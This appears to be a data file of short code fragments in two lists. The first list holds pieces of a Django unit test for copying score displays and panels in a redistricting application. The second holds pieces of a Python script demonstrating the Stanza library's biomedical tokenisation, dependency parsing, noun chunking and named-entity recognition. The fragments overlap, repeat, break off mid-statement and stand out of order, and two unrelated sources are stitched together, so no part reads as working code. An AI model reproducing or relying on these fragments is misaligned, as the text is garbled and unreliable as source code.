"1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have",
"* class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase,",
"added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of",
"== \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number of",
"'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan",
"Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct number of",
"fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display =",
"scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels",
"), \"Copied demographics panel didn't have correct number of functions\" ) panels_tested +=",
"ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of",
"attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if",
"copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number",
"panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\") #",
"self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number of functions; e:%d,a:%d\"",
"functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions =",
"elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct",
"demographics panel didn't have correct number of functions\" ) panels_tested += 1 self.assertEqual(2,",
"StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display",
"from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\":",
"== \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't have correct number",
"not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number",
"copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay",
"+= 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't",
"not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\")",
"didn't have correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1",
"of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than copying owner",
"tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll",
"number of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1, len(",
"\"Copied scoredisplay didn't have both panels needed\") # Let's try just updating those",
"from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ]",
"panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have",
"ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total",
"new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id,",
"= ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions =",
"Let's try just updating those score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy,",
"len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct number of functions\" )",
"= ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\")",
"Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions =",
"len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age",
"current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\")",
"% self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for user more than",
"functions.all() self.demographics = demographics self.summary = summary self.display = display def tearDown(self): self.display.delete()",
"len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay",
"set the owner but it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual(",
"copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") vap",
"panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual("
] |
[
"dependency information can be accessed at sentence level print(' ID TEXT DEP HEAD",
"HOME directory on linux/macos, no idea where it does it on windows. STANZA_DOWNLOAD_DIR",
"the previous pattern; # * `.` means any (single) character. # # https://www.nltk.org/book/ch07.html",
"`BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\"",
"for sent in doc.sentences: # # Operating on the document sentences # #",
"strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains in: (1)",
"synthesizes a novel mosquitocidal Cry protein with a unique toxicity spectrum. This is",
"document sentences # # At this level you get the semantic dependencies #",
"- One or more nouns. # # where: # * `?` means zero",
"stanza's available NER models we'll test the JNLPBA, Linnaeus and S800 # models",
"(2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of parasporal inclusion",
"idea where it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the",
"a unique toxicity spectrum. This is the first report of the occurrence of",
"pattern; # * `+` means one or more of the previous pattern; #",
"noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional",
"= \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from",
"a novel mosquitocidal Cry protein with a unique toxicity spectrum. This is the",
"stanza code looks something like this: # for sent in doc.sentences: # #",
"str, ner_model: str): \"\"\" Just a shortcut to annotate the text with the",
"# # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE",
"given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc =",
"below will replace newlines with a single whitespace, then any # trailing spaces",
"means their token # IDs are relative to the sentences they're from, you'll",
"<---DEP--- HEAD TEXT ID') for dep in sent.dependencies: # Using 'Source' and 'Target'",
"and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?`",
"\"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence =",
"Chunks # The stanza framework has no built-in chunking, instead we'll be using",
"on the document sentences # # At this level you get the semantic",
"# # Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token #",
"# `nltk` module and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ #",
"# dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20}",
"corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR,",
"the document sentences # # At this level you get the semantic dependencies",
"trained model to handle. text = re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating",
"document's chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar: str An nltk",
"# Annotating the document # Just call `nlp(STRING)` and that's pretty much it",
"culicine mosquito. \"\"\" print(text) # Removing newlines # The line below will replace",
"installation Some extra info: Python version: 3.8.6 OS: arch linux \"\"\" # Importing",
"you'll see down below). In # general, a stanza code looks something like",
"ID TEXT DEP HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE",
"model to handle. text = re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the",
"document's sentences and then iterate # over each sentences to get their tokens/words",
"WORD TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies: # Using 'Source'",
"spaces will be trimmed. We'll leave sentence segmentation for the # trained model",
"mosquito. \"\"\" print(text) # Removing newlines # The line below will replace newlines",
"the stanfordnlp Stanza library The original Colab notebook where this script came from:",
"stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft')",
"or more nouns. # # where: # * `?` means zero or one",
"the existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity against",
"strain with an unusual toxicity spectrum, lacking the activity against the culicine mosquito.",
"one or more of the previous pattern; # * `.` means any (single)",
"dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en',",
"following [structure][stanza-objs]: # * A `document` contains `sentences`; # * A `sentence` contains",
"over each sentences to get their tokens/words (wich also means their token #",
"tags, etc.) you must iterate over the document's sentences and then iterate #",
"token # IDs are relative to the sentences they're from, you'll see down",
"protein with a unique toxicity spectrum. This is the first report of the",
"strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions",
"toxicity spectrum. This is the first report of the occurrence of a mosquitocidal",
"# models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just a",
"dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent",
"object. # Unlike `spacy`, in order to access a word's properties (e.g.: lemma,",
"you install both libraries under an isolated python virtual environment and avoid borking",
"* A `token` contains one of more `words`; # note: On stanza there",
"with a unique toxicity spectrum. This is the first report of the occurrence",
"and 'Target' here as a reference to the semantic # dependency arrow direction",
"it does it on windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models",
"# * `+` means one or more of the previous pattern; # *",
"previous pattern; # * `*` means zero or more of the previous pattern;",
"str, print_full_tree: bool = True): \"\"\" Print a document's chunks Arguments: doc: stanza.Document",
"<filename>stanza_bio.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\" Some simple usage examples",
"the biomedical models # Our main pipeline, trained with the CRAFT corpus stanza.download('en',",
"[Word][stanza-word] object. # Unlike `spacy`, in order to access a word's properties (e.g.:",
"nltk chunk grammar regular expression print_full_tree: True|False If true, print the whole tree,",
"of parasporal inclusion proteins. It is clear from the results that the strain",
"contains `sentences`; # * A `sentence` contains `tokens`/`words`; # * A `token` contains",
"An (PoS) annotated document grammar: str An nltk chunk grammar regular expression print_full_tree:",
"clear from the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry",
"the previous pattern; # * `*` means zero or more of the previous",
"immunological properties and N-terminal amino acid sequences of parasporal inclusion proteins. It is",
"the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences):",
"Arguments: doc: stanza.Document An (PoS) annotated document grammar: str An nltk chunk grammar",
"A `document` contains `sentences`; # * A `sentence` contains `tokens`/`words`; # * A",
"re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the document # Just call `nlp(STRING)`",
"be accessed at sentence level print(' ID TEXT DEP HEAD TEXT HEAD ID')",
"of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To",
"Operating on the sentence's tokens # # for word in sent.words: # #",
"document # Just call `nlp(STRING)` and that's pretty much it doc = nlp(text)",
"# # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal Bacillus",
"text = \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated",
"package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining",
"doc.sentences: # # Operating on the document sentences # # At this level",
"Dependency Parsing # Semantic dependency information can be accessed at sentence level print('",
"document grammar: str An nltk chunk grammar regular expression print_full_tree: True|False If true,",
"one of more `words`; # note: On stanza there is a distiction between",
"something like this: # for sent in doc.sentences: # # Operating on the",
"to access a word's properties (e.g.: lemma, PoS # tags, etc.) you must",
"# for word in sent.words: # # Operating on the sentence's words #",
"zero or one of the previous pattern; # * `*` means zero or",
"characterize the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto",
"call `nlp(STRING)` and that's pretty much it doc = nlp(text) # Tokenization, Lemmas",
"extra info: Python version: 3.8.6 OS: arch linux \"\"\" # Importing modules import",
"relative to the sentences they're from, you'll see down below). In # general,",
"is the first report of the occurrence of a mosquitocidal B. thuringiensis strain",
"word's properties (e.g.: lemma, PoS # tags, etc.) you must iterate over the",
"the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with",
"# An annotated document will have the following [structure][stanza-objs]: # * A `document`",
"token in sent.tokens: # # Operating on the sentence's tokens # # for",
"stanza import nltk # The path where downloads should be saved. By default",
"whitespace, then any # trailing spaces will be trimmed. We'll leave sentence segmentation",
"# # Operating on the document sentences # # At this level you",
"https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\" Print a",
"or more adjectives; # * `<NN.*>+` - One or more nouns. # #",
"activity against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological",
"profiles, immunological properties and N-terminal amino acid sequences of parasporal inclusion proteins. It",
"ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP---",
"(single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool =",
"Using 'Source' and 'Target' here as a reference to the semantic # dependency",
"the first report of the occurrence of a mosquitocidal B. thuringiensis strain with",
"Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for",
"Downloading the biomedical models # Our main pipeline, trained with the CRAFT corpus",
"directory on linux/macos, no idea where it does it on windows. STANZA_DOWNLOAD_DIR =",
"Semantic dependency information can be accessed at sentence level print(' ID TEXT DEP",
"# Unlike `spacy`, in order to access a word's properties (e.g.: lemma, PoS",
"= stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text below was",
"# HOME directory on linux/macos, no idea where it does it on windows.",
"main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER",
"thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The",
"properties and N-terminal amino acid sequences of parasporal inclusion proteins. It is clear",
"occurrence of a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking",
"(i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in",
"Zero or more adjectives; # * `<NN.*>+` - One or more nouns. #",
"The line below will replace newlines with a single whitespace, then any #",
"The path where downloads should be saved. By default it points to your",
"* A `document` contains `sentences`; # * A `sentence` contains `tokens`/`words`; # *",
"`nlp(STRING)` and that's pretty much it doc = nlp(text) # Tokenization, Lemmas and",
"iterate over the document's sentences and then iterate # over each sentences to",
"see down below). In # general, a stanza code looks something like this:",
"for token in sent.tokens: # # Operating on the sentence's tokens # #",
"document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The",
"mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24,",
"a word's properties (e.g.: lemma, PoS # tags, etc.) you must iterate over",
"print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) # From stanza's available",
"user's # HOME directory on linux/macos, no idea where it does it on",
"trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en',",
"of more `words`; # note: On stanza there is a distiction between a",
"to the sentences they're from, you'll see down below). In # general, a",
"doc: stanza.Document An (PoS) annotated document grammar: str An nltk chunk grammar regular",
"import re import stanza import nltk # The path where downloads should be",
"more nouns. # # where: # * `?` means zero or one of",
"nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}')",
"over the document's sentences and then iterate # over each sentences to get",
"note: On stanza there is a distiction between a [Token][stanza-token] and a #",
"else print only the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i,",
"spectrum. This is the first report of the occurrence of a mosquitocidal B.",
"from, you'll see down below). In # general, a stanza code looks something",
"or more of the previous pattern; # * `+` means one or more",
"report of the occurrence of a mosquitocidal B. thuringiensis strain with an unusual",
"ID TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}',",
"print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency",
"their tokens/words (wich also means their token # IDs are relative to the",
"models # Our main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft')",
"# `BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text =",
"the 'stanza' and 'nltk' modules, I'd highly recommend you install both libraries under",
"the culicine mosquito. \"\"\" print(text) # Removing newlines # The line below will",
"this level you get the semantic dependencies # # for token in sent.tokens:",
"chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar: str An nltk chunk",
"# over each sentences to get their tokens/words (wich also means their token",
"under an isolated python virtual environment and avoid borking your system's python installation",
"Japan. To characterize the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis",
"96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains in: (1) lacking",
"Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text",
"= cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees():",
"# * `<NN.*>+` - One or more nouns. # # where: # *",
"print the whole tree, else print only the matching grammar chunks \"\"\" cp",
"information can be accessed at sentence level print(' ID TEXT DEP HEAD TEXT",
"its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` -",
"then any # trailing spaces will be trimmed. We'll leave sentence segmentation for",
"# # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\"",
"HEAD TEXT ID') for dep in sent.dependencies: # Using 'Source' and 'Target' here",
"thuringiensis strain with an unusual toxicity spectrum, lacking the activity against the culicine",
"Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and",
"character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True):",
"the following [structure][stanza-objs]: # * A `document` contains `sentences`; # * A `sentence`",
"python virtual environment and avoid borking your system's python installation Some extra info:",
"much it doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence",
"the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent)",
"print() # Noun Chunks # The stanza framework has no built-in chunking, instead",
"POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic",
"OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. # # Task",
"where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script",
"print(' ID TEXT DEP HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences):",
"to annotate the text with the given NER model \"\"\" nlp = stanza.Pipeline(lang='en',",
"against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties",
"windows. STANZA_DOWNLOAD_DIR = './stanza_resources' # Downloading the biomedical models # Our main pipeline,",
"# note: On stanza there is a distiction between a [Token][stanza-token] and a",
"the whole tree, else print only the matching grammar chunks \"\"\" cp =",
"# Operating on the document sentences # # At this level you get",
"segmentation for the # trained model to handle. text = re.sub(r'\\n+', ' ',",
"# https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID",
"scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd highly recommend",
"the JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str,",
"environment and avoid borking your system's python installation Some extra info: Python version:",
"nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text below",
"True): \"\"\" Print a document's chunks Arguments: doc: stanza.Document An (PoS) annotated document",
"[(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True:",
"for word in sent.words: # # Operating on the sentence's words # #",
"'Target' here as a reference to the semantic # dependency arrow direction [src_word,",
"* `<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero or more",
"any # trailing spaces will be trimmed. We'll leave sentence segmentation for the",
"Some extra info: Python version: 3.8.6 OS: arch linux \"\"\" # Importing modules",
"`tokens`/`words`; # * A `token` contains one of more `words`; # note: On",
"is True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP':",
"general, a stanza code looks something like this: # for sent in doc.sentences:",
"or more of the previous pattern; # * `.` means any (single) character.",
"{word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency information can be",
"https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS",
"have the following [structure][stanza-objs]: # * A `document` contains `sentences`; # * A",
"mosquitocidal Cry protein with a unique toxicity spectrum. This is the first report",
"then iterate # over each sentences to get their tokens/words (wich also means",
"# tags, etc.) you must iterate over the document's sentences and then iterate",
"means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree:",
"= stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE",
"sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic",
"Entity Recognition (NER) # From stanza's available NER models we'll test the JNLPBA,",
"print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) # From",
"{i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies:",
"means one or more of the previous pattern; # * `.` means any",
"This script requires the 'stanza' and 'nltk' modules, I'd highly recommend you install",
"and N-terminal amino acid sequences of parasporal inclusion proteins. It is clear from",
"{src_word.id:>4}') print() # Noun Chunks # The stanza framework has no built-in chunking,",
"sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree",
"f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency information can be accessed",
"Stanza library The original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab",
"stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT')",
"differed from the existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal",
"previous pattern; # * `.` means any (single) character. # # https://www.nltk.org/book/ch07.html def",
"utf-8 -*- \"\"\" Some simple usage examples of the stanfordnlp Stanza library The",
"{i+1}') print(' ID TEXT LEMMA UPOS POS') for word in sent.words: print(f'{word.id:>4} {word.text:>20}",
"sentences and then iterate # over each sentences to get their tokens/words (wich",
"the sentence's tokens # # for word in sent.words: # # Operating on",
"B. thuringiensis strain with an unusual toxicity spectrum, lacking the activity against the",
"inclusion proteins. It is clear from the results that the strain 96-OK-85-24 synthesizes",
"print_full_tree: True|False If true, print the whole tree, else print only the matching",
"'./stanza_resources' # Downloading the biomedical models # Our main pipeline, trained with the",
"are relative to the sentences they're from, you'll see down below). In #",
"the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of",
"access a word's properties (e.g.: lemma, PoS # tags, etc.) you must iterate",
"w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree,",
"built-in chunking, instead we'll be using the # `nltk` module and its example",
"# The text below was extracted from the 2019 BioNLP OST `BB-Rel` task,",
"Python version: 3.8.6 OS: arch linux \"\"\" # Importing modules import re import",
"package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for",
"semantic dependencies # # for token in sent.tokens: # # Operating on the",
"`words`; # note: On stanza there is a distiction between a [Token][stanza-token] and",
"cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if",
"for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD",
"[src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun",
"print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) #",
"`<NN.*>+` - One or more nouns. # # where: # * `?` means",
"* `+` means one or more of the previous pattern; # * `.`",
"of the stanfordnlp Stanza library The original Colab notebook where this script came",
"`<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` - One or more",
"a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`, in order to",
"print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza framework",
"bool = True): \"\"\" Print a document's chunks Arguments: doc: stanza.Document An (PoS)",
"sent.tokens: # # Operating on the sentence's tokens # # for word in",
"of the previous pattern; # * `*` means zero or more of the",
"a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking the activity",
"linux \"\"\" # Importing modules import re import stanza import nltk # The",
"Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An annotated document will",
"# Removing newlines # The line below will replace newlines with a single",
"using the # `nltk` module and its example noun chunk grammar: # #",
"properties (e.g.: lemma, PoS # tags, etc.) you must iterate over the document's",
"sentences they're from, you'll see down below). In # general, a stanza code",
"the text # The text below was extracted from the 2019 BioNLP OST",
"with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR,",
